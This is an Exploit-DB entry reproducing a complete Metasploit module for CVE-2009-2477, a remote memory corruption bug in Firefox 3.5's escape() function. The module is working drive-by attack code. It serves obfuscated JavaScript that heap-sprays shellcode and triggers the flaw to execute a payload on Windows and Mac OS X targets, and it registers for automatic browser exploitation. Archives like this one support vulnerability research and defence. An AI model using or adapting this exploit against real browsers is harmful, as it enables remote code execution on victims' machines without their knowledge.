Exploit-DB #16299
Description: Mozilla Firefox 3.5 - 'escape()' Return Value Memory Corruption (Metasploit)
Type: remote
Platform: multiple
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: firefox_escape_retval.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name => HttpClients::FF,
		:ua_minver => "3.5",
		:ua_maxver => "3.5",
		:os_name => OperatingSystems::WINDOWS,
		:javascript => true,
		:rank => NormalRanking, # reliable memory corruption
		:vuln_test => nil,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Firefox 3.5 escape() Return Value Memory Corruption',
			'Description'    => %q{
					This module exploits a memory corruption vulnerability in the Mozilla
				Firefox browser. This flaw occurs when a bug in the javascript interpreter
				fails to preserve the return value of the escape() function and results in
				uninitialized memory being used instead. This module has only been tested
				on Windows, but should work on other platforms as well with the current
				targets.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Simon Berry-Byrne <x00050876[at]itnet.ie>',  # Author / Publisher / Original exploit
					'hdm',                                        # Metasploit conversion
				],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2009-2477'],
					['OSVDB', '55846'],
					['BID', '35660'],
					['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=503286']
				],
			'Payload'        =>
				{
					'Space'    => 1000 + (rand(256).to_i * 4),
					'BadChars' => "\x00",
				},
			'Targets'        =>
				[
					[ 'Firefox 3.5.0 on Windows XP SP0-SP3',
						{
							'Platform'   => 'win',
							'Arch'       => ARCH_X86,
							'Ret'        => 0x0c0c0c0c,
							'BlockLen'   => 0x60000,
							'Containers' => 800,
						}
					],
					[ 'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
							'Ret'  => 0x41414141,
							'BlockLen' => 496,
							'Containers' => 800000
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 14 2006'
			))
	end


	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
		send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' })
		handler(cli)
	end

	def generate_html(payload)

		enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
		enc_ret  = Rex::Text.to_unescape(
			Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')
		)

		var_data_str1 = Rex::Text.rand_text_alpha(3)
		var_data_str2 = Rex::Text.rand_text_alpha(4)
		js = <<-EOF
var xunescape = unescape;
var shellcode = xunescape("#{enc_code}");

oneblock = xunescape("#{enc_ret}");

var fullblock = oneblock;
while (fullblock.length < #{target['BlockLen']})
{
	fullblock += fullblock;
}

var sprayContainer = new Array();
var sprayready = false;
var sprayContainerIndex = 0;

function fill_function()
{
	if(! sprayready) {
		for (xi=0; xi<#{target['Containers']}/100; xi++, sprayContainerIndex++)
		{
			sprayContainer[sprayContainerIndex] = fullblock + shellcode;
		}
	} else {
		DataTranslator();
		GenerateHTML();
	}
	if(sprayContainer.length >= #{target['Containers']}) {
		sprayready = true;
	}
}

var searchArray = new Array();

function escapeData(data)
{
	var xi;
	var xc;
	var escData='';
	for(xi=0; xi<data.length; xi++)
	{
		xc=data.charAt(xi);
		if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);
			escData+=xc;
	}
	return escData;
}

function DataTranslator()
{
	searchArray = new Array();
	searchArray[0] = new Array();
	searchArray[0]["#{var_data_str1}"] = "#{var_data_str2}";
	var newElement = document.getElementById("content");
	if (document.getElementsByTagName) {
		var xi=0;
		pTags = newElement.getElementsByTagName("p");
		if (pTags.length > 0)
			while (xi < pTags.length)
				{
					oTags = pTags[xi].getElementsByTagName("font");
					searchArray[xi+1] = new Array();
					if (oTags[0])   {
						searchArray[xi+1]["#{var_data_str1}"] = oTags[0].innerHTML;
					}
					xi++;
				}
	}
}

function GenerateHTML()
{
	var xhtml = "";
	for (xi=1;xi<searchArray.length;xi++)
	{
		xhtml += escapeData(searchArray[xi]["#{var_data_str1}"]);
	}
}

setInterval("fill_function()", .5);
EOF

		# Obfuscate it up a bit
		js = obfuscate_js(js, 'Symbols' => {
			'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape shellcode oneblock fullblock sprayContainer xi searchArray xc escData xhtml pTags oTags newElement sprayready sprayContainerIndex fill_function }
		}).to_s

		str1 = Rex::Text.rand_text_alpha(20)
		str2 = Rex::Text.rand_text_alpha(24)
		str3 = Rex::Text.rand_text_alpha(10) + "  "

		return %Q^
<html>
<head>
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>#{str1}</FONT></p>
<p>
<FONT>#{str2}</FONT>
</p>
<p>
<FONT>#{str3}</FONT>
</p>
</div>
<script language="JavaScript">
#{js}
</script>
</body>
</html>
^

	end

end